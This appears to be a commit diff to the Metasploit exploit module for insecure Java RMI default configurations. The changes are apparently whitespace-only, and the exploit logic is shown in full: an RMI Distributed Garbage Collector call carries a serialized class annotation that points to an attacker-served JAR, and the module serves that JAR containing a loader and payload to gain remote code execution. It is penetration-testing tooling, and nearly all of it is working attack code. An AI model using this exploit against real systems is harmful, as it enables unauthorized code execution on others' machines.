@@ -16,13 +16,13 @@ def initialize(info = {})
16
16
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution' ,
17
17
'Description' => %q{
18
18
This module takes advantage of the default configuration of the RMI Registry and
19
- RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
19
+ RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
20
20
invokes a method in the RMI Distributed Garbage Collector which is available via every
21
- RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
21
+ RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
22
22
(custom) RMI endpoints as well.
23
23
24
24
Note that it does not work against Java Management Extension (JMX) ports since those do
25
- not support remote class loading, unless another RMI endpoint is active in the same
25
+ not support remote class loading, unless another RMI endpoint is active in the same
26
26
Java process.
27
27
28
28
RMI method calls do not support or require any sort of authentication.
@@ -32,14 +32,14 @@ def initialize(info = {})
32
32
'References' =>
33
33
[
34
34
# RMI protocol specification
35
- [ 'URL' , 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html' ] ,
35
+ [ 'URL' , 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html' ] ,
36
36
# Placeholder reference for matching
37
- [ 'MSF' , 'java_rmi_server' ]
37
+ [ 'MSF' , 'java_rmi_server' ]
38
38
] ,
39
39
'DisclosureDate' => 'Oct 15 2011' ,
40
40
'Platform' => %w{ java linux osx solaris win } ,
41
41
'Privileged' => false ,
42
- 'Payload' => { 'BadChars' => '' , 'DisableNops' => true } ,
42
+ 'Payload' => { 'BadChars' => '' , 'DisableNops' => true } ,
43
43
'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
44
44
'DefaultOptions' =>
45
45
{
@@ -82,7 +82,7 @@ def initialize(info = {})
82
82
) )
83
83
register_options ( [
84
84
Opt ::RPORT ( 1099 ) ,
85
- OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] ) ,
85
+ OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] ) ,
86
86
] , self . class )
87
87
register_common_rmi_ports_and_services
88
88
end
@@ -91,18 +91,18 @@ def exploit
91
91
begin
92
92
Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
93
93
rescue Timeout ::Error
94
- # When the server stops due to our timeout, re-raise
94
+ # When the server stops due to our timeout, re-raise
95
95
# RuntimeError so it won't wait the full wfs_delay
96
- raise ::RuntimeError , "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
96
+ raise ::RuntimeError , "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
97
97
rescue Msf ::Exploit ::Failed
98
98
# When the server stops due primer failing, re-raise
99
99
# RuntimeError so it won't wait the full wfs_delays
100
- raise ::RuntimeError , "Exploit aborted due to failure #{ fail_reason } #{ ( fail_detail || "No reason given" ) } "
101
- rescue Rex ::ConnectionTimeout , Rex ::ConnectionRefused => e
100
+ raise ::RuntimeError , "Exploit aborted due to failure #{ fail_reason } #{ ( fail_detail || "No reason given" ) } "
101
+ rescue Rex ::ConnectionTimeout , Rex ::ConnectionRefused => e
102
102
# When the primer fails due to an error connecting with
103
103
# the rhost, re-raise RuntimeError so it won't wait the
104
104
# full wfs_delays
105
- raise ::RuntimeError , e . message
105
+ raise ::RuntimeError , e . message
106
106
end
107
107
end
108
108
@@ -117,7 +117,7 @@ def primer
117
117
send_header
118
118
ack = recv_protocol_ack
119
119
if ack . nil?
120
- fail_with ( Failure ::NoTarget , "#{ peer } - Failed to negotiate RMI protocol" )
120
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to negotiate RMI protocol" )
121
121
end
122
122
123
123
jar = rand_text_alpha ( rand ( 8 ) +1 ) + '.jar'
@@ -141,7 +141,7 @@ def primer
141
141
142
142
# JDK 1.1 stub protocol
143
143
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
144
- # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
144
+ # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
145
145
send_call (
146
146
object_number : 2 ,
147
147
uid_number : 0 ,
@@ -180,12 +180,12 @@ def on_request_uri(cli, request)
180
180
p = regenerate_payload ( cli )
181
181
jar = p . encoded_jar
182
182
paths = [
183
- [ "metasploit" , "RMILoader.class" ] ,
184
- [ "metasploit" , "RMIPayload.class" ] ,
183
+ [ "metasploit" , "RMILoader.class" ] ,
184
+ [ "metasploit" , "RMIPayload.class" ] ,
185
185
]
186
- jar . add_files ( paths , MetasploitPayloads . path ( 'java' ) )
186
+ jar . add_files ( paths , MetasploitPayloads . path ( 'java' ) )
187
187
188
- send_response ( cli , jar . pack ,
188
+ send_response ( cli , jar . pack ,
189
189
{
190
190
'Content-Type' => 'application/java-archive' ,
191
191
'Connection' => 'close' ,
@@ -240,7 +240,7 @@ def build_dgc_clean_args(jar_url)
240
240
new_array_super . description = Rex ::Java ::Serialization ::Model ::NullReference . new
241
241
242
242
new_array_desc = Rex ::Java ::Serialization ::Model ::NewClassDesc . new
243
- new_array_desc . class_name = Rex ::Java ::Serialization ::Model ::Utf . new ( nil , '[Ljava.rmi.server.ObjID;' )
243
+ new_array_desc . class_name = Rex ::Java ::Serialization ::Model ::Utf . new ( nil , '[Ljava.rmi.server.ObjID;' )
244
244
new_array_desc . serial_version = 0x871300b8d02c647e
245
245
new_array_desc . flags = 2
246
246
new_array_desc . fields = [ ]
@@ -259,13 +259,13 @@ def build_dgc_clean_args(jar_url)
259
259
arguments << Rex ::Java ::Serialization ::Model ::BlockData . new ( nil , "\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 " )
260
260
261
261
new_class_desc = Rex ::Java ::Serialization ::Model ::NewClassDesc . new
262
- new_class_desc . class_name = Rex ::Java ::Serialization ::Model ::Utf . new ( nil , 'metasploit.RMILoader' )
262
+ new_class_desc . class_name = Rex ::Java ::Serialization ::Model ::Utf . new ( nil , 'metasploit.RMILoader' )
263
263
new_class_desc . serial_version = 0xa16544ba26f9c2f4
264
264
new_class_desc . flags = 2
265
265
new_class_desc . fields = [ ]
266
266
new_class_desc . class_annotation = Rex ::Java ::Serialization ::Model ::Annotation . new
267
267
new_class_desc . class_annotation . contents = [
268
- Rex ::Java ::Serialization ::Model ::Utf . new ( nil , jar_url ) ,
268
+ Rex ::Java ::Serialization ::Model ::Utf . new ( nil , jar_url ) ,
269
269
Rex ::Java ::Serialization ::Model ::EndBlockData . new
270
270
]
271
271
new_class_desc . super_class = Rex ::Java ::Serialization ::Model ::ClassDesc . new
@@ -278,7 +278,7 @@ def build_dgc_clean_args(jar_url)
278
278
279
279
arguments << new_object
280
280
281
- arguments << Rex ::Java ::Serialization ::Model ::BlockData . new ( nil , "\x00 " )
281
+ arguments << Rex ::Java ::Serialization ::Model ::BlockData . new ( nil , "\x00 " )
282
282
283
283
arguments
284
284
end
0 commit comments